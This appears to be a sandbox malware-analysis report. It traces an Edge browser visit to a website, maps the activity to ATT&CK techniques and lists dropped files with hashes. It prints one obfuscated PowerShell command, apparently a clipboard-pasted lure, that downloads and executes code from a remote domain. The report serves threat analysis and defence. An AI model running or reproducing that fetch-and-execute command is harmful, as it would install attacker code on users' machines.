PID 524 wrote to memory of 4756	524	msedge.exe	97
PID 524 wrote to memory of 4756	524	msedge.exe	97
PID 524 wrote to memory of 1796	524	msedge.exe	98
PID 524 wrote to memory of 1796	524	msedge.exe	98
PID 524 wrote to memory of 1796	524	msedge.exe	98
PID 524 wrote to memory of 3912	524	msedge.exe	99
PID 524 wrote to memory of 3912	524	msedge.exe	99
PID 524 wrote to memory of 2588	524	msedge.exe	100
PID 524 wrote to memory of 2588	524	msedge.exe	100
PID 524 wrote to memory of 3524	524	msedge.exe	102
PID 524 wrote to memory of 4140	524	msedge.exe	105
PID 524 wrote to memory of 4140	524	msedge.exe	105
PID 524 wrote to memory of 4140	524	msedge.exe	105
PID 524 wrote to memory of 3704	524	msedge.exe	116
PID 524 wrote to memory of 4240	524	msedge.exe	117
PID 524 wrote to memory of 2856	524	msedge.exe	118
PID 524 wrote to memory of 4400	524	msedge.exe	125
PID 524 wrote to memory of 4400	524	msedge.exe	125
PID 524 wrote to memory of 5088	524	msedge.exe	127
PID 524 wrote to memory of 3768	524	msedge.exe	128
PID 524 wrote to memory of 3768	524	msedge.exe	128
PID 524 wrote to memory of 1008	524	msedge.exe	129
PID 524 wrote to memory of 1008	524	msedge.exe	129
PID 524 wrote to memory of 2860	524	msedge.exe	130
PID 524 wrote to memory of 2860	524	msedge.exe	130
PID 524 wrote to memory of 1108	524	msedge.exe	133
PID 524 wrote to memory of 1108	524	msedge.exe	133
PID 524 wrote to memory of 2452	524	msedge.exe	134
PID 524 wrote to memory of 2452	524	msedge.exe	134

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://wavesandwild.com
1⤵
- Suspicious clipboard content.
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2b4,0x7ffbc05ac188,0x7ffbc05ac194,0x7ffbc05ac1a0
  2⤵
  PID:3340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1808,i,4507194099383266504,17260197414245790674,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1656,i,1219667151108776872,15090770783309418349,262144 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:2
  2⤵
  PID:1688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2588,i,7096312107380178352,6739208065494933665,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=2748 /prefetch:8
  2⤵
  PID:1392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3400,i,5159125754506707649,6012383000783638507,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:1
  2⤵
  PID:1128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3404,i,16801654649067586398,12376904124620977519,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
  2⤵
  PID:4436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4176,i,14049723345466536962,15569183510949725472,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=4184 /prefetch:1
  2⤵
  PID:4904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4200,i,6510299786657175553,16028460770667999350,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:2
  2⤵
  PID:2532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5052,i,9316119459205461859,6745459180564922163,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
  2⤵
  PID:3804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3528,i,8049394683891049340,16221854905570959680,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
  2⤵
  PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5204,i,5680049646531731110,15584706044024846646,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:1
  2⤵
  PID:1796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5556,i,15681503995249690341,11182672632249046115,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:8
  2⤵
  PID:3912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,8956569132429648061,17216727597910209900,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:8
  2⤵
  PID:2588
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,1361054001208969686,334770673572824890,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:8
  2⤵
  PID:3764
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,1361054001208969686,334770673572824890,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:8
  2⤵
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6784,i,16560148621591468273,5860574448608597691,2097152 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=6828 /prefetch:1
  2⤵
  PID:4140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4420,i,2570039915088235376,10867978757598376972,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=4416 /prefetch:8
  2⤵
  PID:3704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4212,i,16528599026782466136,9944661563808801798,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:8
  2⤵
  PID:4240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4408,i,5925538160580266478,12429765537011736355,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:8
  2⤵
  PID:2856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4408,i,5139002227256647376,2160106787960545088,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:8
  2⤵
  PID:4400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5632,i,16000623312842265084,5548354183759233190,262144 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5652,i,7798221313502969300,16172120459450330747,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:8
  2⤵
  PID:3768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,17208917742904923909,5548390262431167492,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:8
  2⤵
  PID:1008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4496,i,16892313463064106016,12782091270941486573,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:8
  2⤵
  PID:2860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6724,i,882865158505632715,5234225119862818532,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:8
  2⤵
  PID:1108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,5823008216793027266,3623193686781696532,524288 --field-trial-handle=2288,i,10526204439304487207,17906932860490769823,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:8
  2⤵
  PID:2452

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2632

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
- Suspicious clipboard content.
PID:4704

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -nop -c "[Diagnostics.Process]::Start('powershell',(&{$tm='';@('-nop -c ' -replace '[jqvz]','','iex(ir ''' -replace '[mvz]','',feinmotorik.geschenkideen-die-foerdern.de/index.htmlmmmm'.Trim('m'),''')')|%{$tm+=$_};$tm}))"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Phishing

T1566

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 9420686d12b2cba6dc69896d607eadac629280a010e5358a4872ab9753f24ed7
MD5 8be6e81804d8b903ae07c11b2e53e3d9
SHA1 817c41cb00b05a8f2040323b93c6416b92dbc01b
SHA512 c2cfff48ebb312975aa2615d841d0badff185589ad3a3f5e8420c2ea0eb5dc0e5354d917cc43d57bec169a63d4fa21d66e91dc3e195592ece23d37fff7c04680
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
TLSH
T1CDB3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6d0f88884e23b1418c456620b79662feebdfd970ca9325ba2981c94b3b0f0b2f
MD5 7060eae8ec426d15de2849b1f7d261b4
SHA1 b252d90b9d7050d0b9b7c03141d9d3b7cae404ac
SHA512 8791005fae20dc1dc5dc5b0086efe814e0b1e36781ef1931cc1fc699fc4cb34d62ab3f9a83f4967824f3bb71aef6adc6ad457ab7a6addcba99f9e9b473eabb4d
TLSH
T118D01222BE08A415E65BA271A502C7141F5954A124938651E224D86CD9F84D49696387
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4d517b88a0fb88494276c126764235de9ee52961c86cc4d3abaf517b10a649a8
MD5 dde9ea8dd9c7e315ef614ab3476af02c
SHA1 e03e201e89770d15b4040d579c2cce8684959a2c
SHA512 410e016336529d709de957d44e67238e4f6592b9ce6646395a9e45ce592e7810b4cb6b1b6df5d8b26875a6aa235b77d41c0983ccc055556f8b8c02224093fdd1
TLSH
T16DD012227E08A415E65BA271A502C7141F5954A124938651E224D86CC9F94D49696387
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 4eff58145c1f2a6d0d416bf6615ac9252449c4961f858465b7aa7eba24975e7b
MD5 abe316157575900606a272e5ba8a66a0
SHA1 29ee85eaa1e00b6d9414c05131ad56e66a0a808a
SHA512 cb708619cb93a6a0ac6dae9f28d620a4d7fc94ca0806b7f3d96e6febf8de0c231c0cd0eae372dade8c37fa87cc4bab1c8fe6998e47598f0a8a610ac75e70242a
TLSH
T1C3E026988ECCE37F9200A44B8A68D38CC2E03A0E93C86A5F3710E8893201EC0E2D2590
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 3d8211f691d7de3a7950de42f7d93e1922394557efb24516c3471b80be147434
MD5 5c3cdd78a5a8344e0b5d05eed63236d1
SHA1 db1c1fb7c90099f13d78eea44223104020e85f71
SHA512 aa061d00ac433a2503f352c79cb3140fa970d0147122ebf0c6013e15b78f9819a3587d1dca055cc6627fb1c311fbad597f93d6fe20ba8ad80dc1ed2a75151e67
SSDEEP 96:NGkWldaTNdW7bpN8qFsQGJr71vCoOlJaXfp8aephnl0:NN6cTNIbIqOzLfjXfgp1l0
TLSH
T14EB182B44EC64850EF601EB294D40A37BF30BADBF40B1F4BA34E2675A5033DA4A594C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe58d1e1.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58d1e1.TMP
Size 3KB
SHA256 1eb8549c6fac8fb22503277df0086b3a41c77866465a5e77b53ebea48fb2d8fc
MD5 31f568f47d8d88d86083d8d1347806fe
SHA1 fdc74343a80afd099e57d4d4bd5dac15559d5f91
SHA512 54d06b011afc30c99a9c5f9d00e6fa8c08db6a7f760352ed4d096bfc2fef472fb5160217f67b72ff361355d2b21b583198c10c3120199d095bf5fb8aed837365
TLSH
T17C7127344E0900A1FF200A33D4D50639BC72AAEFF61E2E66234D66B5FA0734A139C55B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 90eb7ad9b5309ad4799c423897dc913a7e34da9307989757145e1b097c6be7ae
MD5 17f994694ed086a1e7ec3bcb1eeb0093
SHA1 52ca51e0811c01f57fa0e3af0727e51559cb00d5
SHA512 8d22fac3017cc4924861298e7a758b95e553b8b538b7af7fb974bfb70129be2bb4cbb7c96523134a6045ef4f9e8049f2c5ec91b6177247988b6ff67dfe40cd9a
SSDEEP 192:D/gwtnNu2nlneHRe+L1xOThVI659ilEkg5tnd0TOkOe:D4qnNu2nlneHRe+L1xOThVI659ilEkgS
TLSH
T1E5E1BEB7C5E4CA5E8C1166F1AB64E917CE1E0A1847393C8AC9E9AF0F97E3470D21065F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 43c6e53475f952798b2801fb3e4b973f541c4218b2c2bfeee403352ad935312c
MD5 41229fa7a33e61d73fc830f5374dc49f
SHA1 174ed90d03443634540934b7d43dca380140c3a1
SHA512 63c27146a8c1b7af1eefb94253189bc14c521fb1b1749e7c07e98631f4e4f748225c4b9a9b8ac0378ad3b91221d799e717eb7447a4456ac35633e13a11314332
SSDEEP 96:D/OIQUIaDDyeTmFEefqhzBxUVpBRo59il3Bg5ynhGERQbcj6VwYGj4/C:DWIQdaDDyeTdefqh1xepB659ilRg5ynB
TLSH
T1CBB1CEB682F08A9EDC10A9F0AB54ED27CE5D09184B3D7CDA89E5BE0B97E3070D11075B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 e496c79b20beebbba6192a93c30ff36d0460ee6139b175148214bebecd0cca60
MD5 31a075b7c90ede01264ab45528f70975
SHA1 ccdd27d8296219dd87fb4495f466c3247649ee32
SHA512 43ebe7f0f3ea3b271e6d11b228b760ff0ddfb18a7eccecea1cca497146ee93230dfd3ac2db3aebb30a62cfaa1182051577f6c283d3b7c89855c11eccdb7878ff
SSDEEP 192:D/gwtnNu2nlneHRe+L1IhVI659ilEkg5tnd0TOkOWGkj6N:D4qnNu2nlneHRe+L1IhVI659ilEkg5tf
TLSH
T16FE1BEB7C6E48A5ECC1165F1AB64E917CE1E0A1847393C8AC9E9AF0F97E3470D21065F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631
MD5 807419ca9a4734feaf8d8563a003b048
SHA1 a723c7d60a65886ffa068711f1e900ccc85922a6
SHA512 f10d496ae75db5ba412bd9f17bf0c7da7632db92a3fabf7f24071e40f5759c6a875ad8f3a72bad149da58b3da3b816077df125d0d9f3544adba68c66353d206c
TLSH
T18DB01269E5507CFF074A83A41428B463C3FF0047421C8ABEEA3873AD42A21FE0828C57
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
